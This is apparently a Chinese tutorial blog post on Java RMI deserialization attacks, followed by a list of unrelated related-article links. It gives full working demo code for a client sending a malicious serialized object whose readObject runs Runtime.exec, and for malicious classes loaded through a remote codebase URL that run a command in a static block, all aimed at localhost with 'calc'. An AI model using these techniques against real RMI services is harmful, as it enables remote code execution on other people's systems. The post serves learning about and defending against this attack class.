1.java rmi

关于rmi客户端和服务端通信的过程,java的方法都实现在rmi服务端,客户端实际上是通过访问rmi注册表拿到stub,然后再通过它调用服务端方法,那么调用方法时要传递参数,参数可以为一般类型,也可以为引用类型,那么如果为引用类型,就能够利用服务端已经有的gaget chain来打server,因为参数实际上是序列化传输的,那么数据到达服务端后必定会经过反序列化。

客户端:

RMIClient.java

packagecom.longofo.javarmi;

importjava.rmi.registry.LocateRegistry;

importjava.rmi.registry.Registry;

public classRMIClient {

/**

* Java RMI恶意利用demo

*

* @param args

* @throws Exception

*/

public static void main(String[] args) throwsException {

Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9999);

// 获取远程对象的引用

Services services = (Services) registry.lookup("Services");

PublicKnown malicious = newPublicKnown();

malicious.setParam("calc");

malicious.setMessage("haha");

// 使用远程对象的引用调用对应的方法

System.out.println(services.sendMessage(malicious));

}

}

此时客户端要打服务端,因此要将恶意的对象作为参数传递到服务端,此时序列化的对象将在服务端反序列化

publicKnown.java

packagecom.longofo.javarmi;

importjava.io.IOException;

importjava.io.ObjectInputStream;

importjava.io.Serializable;

public class PublicKnown extends Message implementsSerializable {

private static final long serialVersionUID = 7439581476576889858L;

privateString param;

public voidsetParam(String param) {

this.param =param;

}

private void readObject(ObjectInputStream in) throwsIOException, ClassNotFoundException {

in.defaultReadObject();

Runtime.getRuntime().exec(this.param);

}

}

此时要传递的恶意对象肯定要符合服务端参数类型的定义

服务端:

RMIServer.java

//RMIServer.java

packagecom.longofo.javarmi;

importjava.rmi.AlreadyBoundException;

importjava.rmi.RemoteException;

importjava.rmi.registry.LocateRegistry;

importjava.rmi.registry.Registry;

importjava.rmi.server.UnicastRemoteObject;

public classRMIServer {

/**

* Java RMI 服务端

*

* @param args

*/

public static voidmain(String[] args) {

try{

// 实例化服务端远程对象

ServicesImpl obj = newServicesImpl();

// 没有继承UnicastRemoteObject时需要使用静态方法exportObject处理

Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);

Registry reg;

try{

// 创建Registry

reg = LocateRegistry.createRegistry(9999);

System.out.println("java RMI registry created. port on 9999...");

} catch(Exception e) {

System.out.println("Using existing registry");

reg =LocateRegistry.getRegistry();

}

//绑定远程对象到Registry

reg.bind("Services", services);

} catch(RemoteException e) {

e.printStackTrace();

} catch(AlreadyBoundException e) {

e.printStackTrace();

}

}

}

ServiceImpl.java

packagecom.longofo.javarmi;

importjava.rmi.RemoteException;

public class ServicesImpl implementsServices {

public ServicesImpl() throwsRemoteException {

}

@Override

public Object sendMessage(Message msg) throwsRemoteException {

returnmsg.getMessage();

}

}

Service.java

packagecom.longofo.javarmi;

importjava.rmi.RemoteException;

public interface Services extendsjava.rmi.Remote {

Object sendMessage(Message msg) throwsRemoteException;

}

Message.java

packagecom.longofo.javarmi;

importjava.io.Serializable;

public class Message implementsSerializable {

private static final long serialVersionUID = -6210579029160025375L;

privateString msg;

publicMessage() {

}

publicString getMessage() {

System.out.println("Processing message: " +msg);

returnmsg;

}

public voidsetMessage(String msg) {

this.msg =msg;

}

}

所以这里服务端存在漏洞的即为ServicesImpl类,其存在一个方法其入口参数为Message对象,并且这里Message这个类是继承自Serializable,即可以进行反序列化。服务端通过bind()函数绑定远程对象到RMI注册表中,此时客户端即可以访问RMI注册表拿到stub,即可调用服务端的方法,比如sendMessage()函数

此时先启动RMIServer.java,然后再启动RMIClient.java,即可达到打rmi服务端的效果,这里jdk版本为1.6

在服务端的readObject处下断点,即可看到调用栈,经过ConnectHandler后就能够确定服务端要反序列化的类名

接下来就是通过反射调用PublicKnown类的readObject方法 ,进而到达readObject内部的命令执行代码段

所以这里客户端肯定要知道服务端有哪些可以调用的方法,以及服务端被调用的方法入口参数要满足要求,这里在现实情况中应该很少能够遇到,这里肯定只作为例子来学习。当然反序列化的类可以是本地的gadget,这个例子的测试没有jdk版本限制,在jdk1.8.202也可以成功,这些限制太大了。在这里实际上就是拿到ServicesImpl的引用,lookup函数查找的也一定是存在与rmi注册表中存在的对象并拿到引用,并不是直接拷贝了一份该类的对象到本地来,拿到引用之后再去调用该类的方法,传参到服务端,最后反序列化执行在服务端。

tip:服务端要绑定到rmi 注册表的对象实现的接口必须继承自remote,而该对象所对应的接口实现类必须继承UnicastRemoteObject,否则需要使用静态方法exportObject处理该对象

2.java rmi 动态加载类

2.1RMI服务端打客户端

java rmi动态加载类,其实就是通过指定codebase来制定远程的类仓库,我们知道java在运行过程中需要类的时候可以在本地加载,即在classpath中找,那么也可以通过codebase来指定远程库。默认是不允许远程加载的,如需加载则需要安装RMISecurityManager并且配置java.security.policy。并且需要java.rmi.server.useCodebaseOnly 的值必需为false,当然这也是受jdk版本限制的。

RMIClient.java

packagecom.longofo.javarmi;

importjava.rmi.RMISecurityManager;

importjava.rmi.registry.LocateRegistry;

importjava.rmi.registry.Registry;

public classRMIClient1 {

/**

* Java RMI恶意利用demo

*

* @param args

* @throws Exception

*/

public static void main(String[] args) throwsException {

//如果需要使用RMI的动态加载功能,需要开启RMISecurityManager,并配置policy以允许从远程加载类库

System.setProperty("java.security.policy", RMIClient1.class.getClassLoader().getResource("java.policy").getFile());

RMISecurityManager securityManager = newRMISecurityManager();

System.setSecurityManager(securityManager);

Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9999);

// 获取远程对象的引用

Services services = (Services) registry.lookup("Services");

Message message = newMessage();

message.setMessage("hahaha");

services.sendMessage(message);

}

}

此时RMI客户端正常操作,传入Message对象,并调用服务端sendMessage方法

ServiceImpl.java

packagecom.longofo.javarmi;

importcom.longofo.remoteclass.ExportObject;

importjava.rmi.RemoteException;

public class ServicesImpl1 implementsServices {

@Override

public ExportObject sendMessage(Message msg) throwsRemoteException {

return newExportObject();

}

}

可以看到此时服务端实现Services接口的类的sendMessage方法返回值为ExportObject类型,即该类的实例

ExportObject.java

//

// Source code recreated from a .class file by IntelliJ IDEA

// (powered by Fernflower decompiler)

//

packagecom.longofo.remoteclass;

importjava.io.BufferedInputStream;

importjava.io.BufferedReader;

importjava.io.InputStreamReader;

importjava.io.Serializable;

importjava.util.Hashtable;

importjavax.naming.Context;

importjavax.naming.Name;

importjavax.naming.spi.ObjectFactory;

public class ExportObject implementsObjectFactory, Serializable {

private static final long serialVersionUID = 4474289574195395731L;

publicExportObject() {

}

public static void exec(String cmd) throwsException {

String sb = "";

BufferedInputStream in = newBufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());

BufferedReader inBr;

String lineStr;

for(inBr = new BufferedReader(new InputStreamReader(in)); (lineStr = inBr.readLine()) != null; sb = sb + lineStr + "\n") {

}

inBr.close();

in.close();

}

public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable, ?> environment) throwsException {

return null;

}

static{

try{

exec("calc");

} catch(Exception var1) {

var1.printStackTrace();

}

}

}

这里实际上服务端返回的即为该ExportObject类的实例,该类是实现了对象工厂类,并且可以序列化的,所以可以通过jrmp进行传输,我们只需要将其编译放在服务器端指定的codebase地址即可等待客户端来加载,当客户端远程加载该类时将会实例化该类,即调用该类的static代码段

RMIServer.java

packagecom.longofo.javarmi;

importjava.rmi.AlreadyBoundException;

importjava.rmi.RemoteException;

importjava.rmi.registry.LocateRegistry;

importjava.rmi.registry.Registry;

importjava.rmi.server.UnicastRemoteObject;

public classRMIServer1 {

public static voidmain(String[] args) {

try{

// 实例化服务端远程对象

ServicesImpl1 obj = newServicesImpl1();

// 没有继承UnicastRemoteObject时需要使用静态方法exportObject处理

Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);

//设置java.rmi.server.codebase

System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");

Registry reg;

try{

// 创建Registry

reg = LocateRegistry.createRegistry(9999);

System.out.println("java RMI registry created. port on 9999...");

} catch(Exception e) {

System.out.println("Using existing registry");

reg =LocateRegistry.getRegistry();

}

//绑定远程对象到Registry

reg.bind("Services", services);

} catch(RemoteException e) {

e.printStackTrace();

} catch(AlreadyBoundException e) {

e.printStackTrace();

}

}

}

此时RMIServer端指定了客户端codebase的地址,即客户端反序列化ExportObject时需要加载该类,此时将通过服务端提供的codebase来加载

此时先启动托管远程类的服务端,将ExportObject.class放在codebase指定的位置,这里要注意包名要和目录名相一致

然后启动RMI服务端,启动RMI客户端,即完成了客户端要调用sendMessage方法,此时服务端返回了ExportObject对象,客户端发现返回的是ExportObject对象后,那将在本地的classpath中没找到该类,则通过服务端指定的codebase来加载该类,加载该类的后将实例化该类,从而触发calc

此时托管class的http服务端也收到了加载class文件的请求

这种方法相对于第一种来说打客户端只需要拿到RMI中对象的引用,调用服务器上的方法即可,这里服务器是攻击者控制的,只需要在方法中返回恶意对象即可,当然如前面所说,这里是需要securitManager和

useCodebaseOnly为false以及jdk限制的,这里是服务端指定javacodebase的。

2.2RMI客户端打服务端

RMIClient.java

packagecom.longofo.javarmi;

importcom.longofo.remoteclass.ExportObject1;

importjava.rmi.registry.LocateRegistry;

importjava.rmi.registry.Registry;

public classRMIClient2 {

public static void main(String[] args) throwsException {

System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");

Registry registry = LocateRegistry.getRegistry("127.0.0.1",9999);

// 获取远程对象的引用

Services services = (Services) registry.lookup("Services");

ExportObject1 exportObject1 = newExportObject1();

exportObject1.setMessage("hahaha");

services.sendMessage(exportObject1);

}

}

上面RMI客户端打RMI服务端是服务端来指定codebase地址供客户端参考,客户端来加载codebase地址的class文件,那么从上面这段代码可以看到此时是客户端指定了codebase地址,那么当然服务端就得从客户端指定的codebase来加载class了,可以看到此时客户端调用服务端的sendMessage函数传递的是ExportObject1对象

ExportObject1.java

packagecom.longofo.remoteclass;

importcom.longofo.javarmi.Message;

importjavax.naming.Context;

importjavax.naming.Name;

importjavax.naming.spi.ObjectFactory;

importjava.io.Serializable;

importjava.util.Hashtable;

public class ExportObject1 extends Message implementsObjectFactory, Serializable {

private static final long serialVersionUID = 4474289574195395731L;

public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable, ?> environment) throwsException {

return null;

}

}

此时该类继承自Message类,实现对象工厂接口,并且支持序列化

ServiceImpl.java

packagecom.longofo.javarmi;

importjava.rmi.RemoteException;

public class ServicesImpl implementsServices {

public ServicesImpl() throwsRemoteException {

}

@Override

public Object sendMessage(Message msg) throwsRemoteException {

returnmsg.getMessage();

}

}

RMIServer.java

//RMIServer2.java

packagecom.longofo.javarmi;

importjava.rmi.AlreadyBoundException;

importjava.rmi.RMISecurityManager;

importjava.rmi.RemoteException;

importjava.rmi.registry.LocateRegistry;

importjava.rmi.registry.Registry;

importjava.rmi.server.UnicastRemoteObject;

public classRMIServer2 {

/**

* Java RMI 服务端

*

* @param args

*/

public static voidmain(String[] args) {

try{

// 实例化服务端远程对象

ServicesImpl obj = newServicesImpl();

// 没有继承UnicastRemoteObject时需要使用静态方法exportObject处理

Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);

Registry reg;

try{

//如果需要使用RMI的动态加载功能,需要开启RMISecurityManager,并配置policy以允许从远程加载类库

System.setProperty("java.security.policy", RMIServer.class.getClassLoader().getResource("java.policy").getFile());

RMISecurityManager securityManager = newRMISecurityManager();

System.setSecurityManager(securityManager);

// 创建Registry

reg = LocateRegistry.createRegistry(9999);

System.out.println("java RMI registry created. port on 9999...");

} catch(Exception e) {

System.out.println("Using existing registry");

reg =LocateRegistry.getRegistry();

}

//绑定远程对象到Registry

reg.bind("Services", services);

} catch(RemoteException e) {

e.printStackTrace();

} catch(AlreadyBoundException e) {

e.printStackTrace();

}

}

}

可以由以上代码看到,此时RMI服务端绑定的services接口对应的ServicesImpl.java中sendMessage函数将会调用入口参数Message类型对象的getmessage函数,这里方法体内容是什么并不重要,因为这种打法和第一节中的打法一样,都是打RMI服务端,区别是第一节是利用RMI服务端本地的gaget chain,而这里则是利用远程类加载,通过客户端指定的codebase来打RMI服务端。

所以此时codebase的地址也将受到请求ExportObject1.class的请求,因为服务端发现穿送过来的ExportObject1类classpath里面没有,所有就会通过客户端指定的codebase加载,从而实例化该恶意ExportObject1类,执行static代码块的命令

所以上面两个例子,客户端打RMI服务端,以及RMI服务端打客户端都是利用RMI的调用过程:

1.客户端打RMI服务端,客户端调用服务端方法,此时传给服务端的的参数可控则可能存在风险(这种条件挺难满足)

2.RMI打客户端,RMI服务端返回给客户端的结果是服务端可控的,则该结果则可能存在风险(lookup可控,并且恶意RMI服务端也要自己实现)

和以前分析其他漏洞时的逻辑还是比较相似的,可控即可能存在风险

关于客户端和服务端互打里面,因为要传递序列化的对象,序列化的过程中要知道serialVersionUID,要传递的反序列化的对象的包名,类名必须要与服务端一致,这里serialVersionID在https://www.freebuf.com/vuls/126499.html这篇文章中说第一次不传递id参数服务端将会返回id值,但是我本地测jdk1.6.01这里客户端不加id值,也能够打成功。

RMI-JRMP

上面说的RMI通信过程中假设客户端在与RMI服务端通信中,虽然也是在JRMP协议上进行通信,尝试传输序列化的恶意对象到服务端,此时服务端若也返回客户端一个恶意序列化的对象,那么客户端也可能被攻击,利用JRMP就可以利用socket进行通信,客户端直接利用JRMP协议发送数据,而不用接受服务端的返回,因此这种攻击方式也更加安全。

比如服务端此时启用RMI服务:

jdk1.7.0_25

如有错误,务必请指出。

java rmi jrmp_关于Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿(上)看后的一些总结-1...相关推荐

  1. java tomcat jms_JavaWeb之使用Tomcat、JNDI与ActiveMQ实现JMS消息通信服务

    前言 之所以使用JNDI 是出于通用性考虑,该例子使用JMS规范提供的通用接口,没有使用具体JMS提供者的接口,这样可以保证我们编写的程序适用于任何一种JMS实现(ActiveMQ.HornetQ等) ...

  2. java过滤器命名_Java命名目录接口(JNDI)教程

    命名和目录操作 您可以使用JNDI执行以下操作:读取操作和更新命名空间的操作.本节介绍这两个操作: l查询对象 l列出上下文内容 l添加.覆盖和移除绑定 l重命名对象 l创建和销毁子上下文 配置 在命 ...

  3. ssm java编程遇到从数据库中查询的时间与存储时间不一致

    ssm java编程遇到从数据库中查询的时间与存储时间不一致 推荐先去看这篇文章: java编程中遇到的时区与时间问题总结 http://blog.csdn.net/yeahwell/article/ ...

  4. Java安全学习笔记--一次对JNDI注入失败的问题排查(手写POC以及rmi)

    目录 前言 恶意类代码: RMI注册中心以及服务端代码: 问题一: 问题二 调试 问题三 总结 前言 之前分析了fastjson的jdbcRowSetImpl利用链之后当时也是手写了所用的代码并测试, ...

  5. 从懵逼到恍然大悟之Java中RMI的使用

    此处讲的是Java中的RMI,而不是通用意义上的RMI,关于通用的RMI可以参考分布式之RPC的协议以及错误处理 这篇文章. 一.Java RMI简介 Java RMI用于不同虚拟机之间的通信,这些虚 ...

  6. 超越RMI,高效Java remote调用

    在处理Remote调用时,通常思路如下: 1. WebService跨平台,跨防火墙,但是很抱歉,基于xml速度慢 2. RMI(java)/Remoting(.net)平台相关,基于二进制序列化,速 ...

  7. Spring RMI错误:java.rmi.ConnectException: Connection refused to host: 127.0.0.1

    错误现象 在linux上部署RMI服务端程序后,测试无法通过,主要错误如下: Exception in thread "main" org.springframework.remo ...

  8. java 连接 websphere_本地java类访问websphere的JNDI

    # 问题1.获取数据源时报错 # javax.naming.NoInitialContextException: Need to specify class name in environment o ...

  9. 01_Weblogic课程之概念篇:代理服务器,web服务器,应用程序服务器,JNDI概念,JTA概念,Java消息服务,Java验证和授权(JAAS),Java管理扩展,Web客户机,客户机应用程序

     1 什么是服务器 Weblogic中服务器分为两种,一种是受管服务器,另外一种是管理服务器. Weblogic课程(Weblogic是Oracle公司的,最开始的是BEA公司的) 一 系统管理 ...

最新文章

  1. 机器学习笔记(三)线性模型
  2. 深入理解r2dbc-mysql
  3. 面试了 N 个候选人后,我总结出这份 Java 面试准备技巧
  4. 数据结构(Splay平衡树):COGS 339. [NOI2005] 维护数列
  5. python输出一棵松树_松树程序间距
  6. DI使用value属性与value标签的区别以及xml预定义实体引用
  7. Structured Streaming 整合 Kafka指南
  8. java 集成ibm mq 教程_IBM MQ JMS 与spring的整合
  9. char装cstring_MFC中char*,string和CString之间的转换-阿里云开发者社区
  10. GridView边框样式简单美化
  11. 计算机自杀式软件--USBKill
  12. HTNL5列表,表格,音频,视频,iframe内联框架
  13. 11 年膨胀 575 倍,微信为何从“小而美”变成了“大而肥”?
  14. php 浏览器打开excel文件夹里,php网页显示excel表格数据-phpexcel 读取excel里的数据并在页面显示出来...
  15. PhpSpreadsheet常用操作
  16. 5G融合通信网关(应急通讯、车载通讯、视频传输)
  17. Java 正则表达式 手机号 身份证号脱敏
  18. UT-Exynos4412开发板三星ARM四核旗舰开发平台android4.0体验-11有线网络功能调试
  19. 多线程 分段 爆破crc32 C#C/C++ (一)
  20. 名人名言 托尔斯泰 富兰克林 马克思 罗兰 培根

热门文章

  1. 丢掉xml使用JavaConfig配置Spring
  2. Tengine HTTPS原理解析、实践与调试
  3. Python selenium —— 用chrome的Mobile emulation模拟手机浏览器测试手机网页
  4. [转] getBoundingClientRect判断元素是否可见
  5. 【arc101】比赛记录
  6. 华中科技大学 计算机组成原理 上机实验1 2018
  7. POJ 3581 Sequence ——后缀数组 最小表示法
  8. druid-StatViewServlet配置
  9. window7 MySql Cluster数据库集群配置
  10. 每个用户做独立的线程同步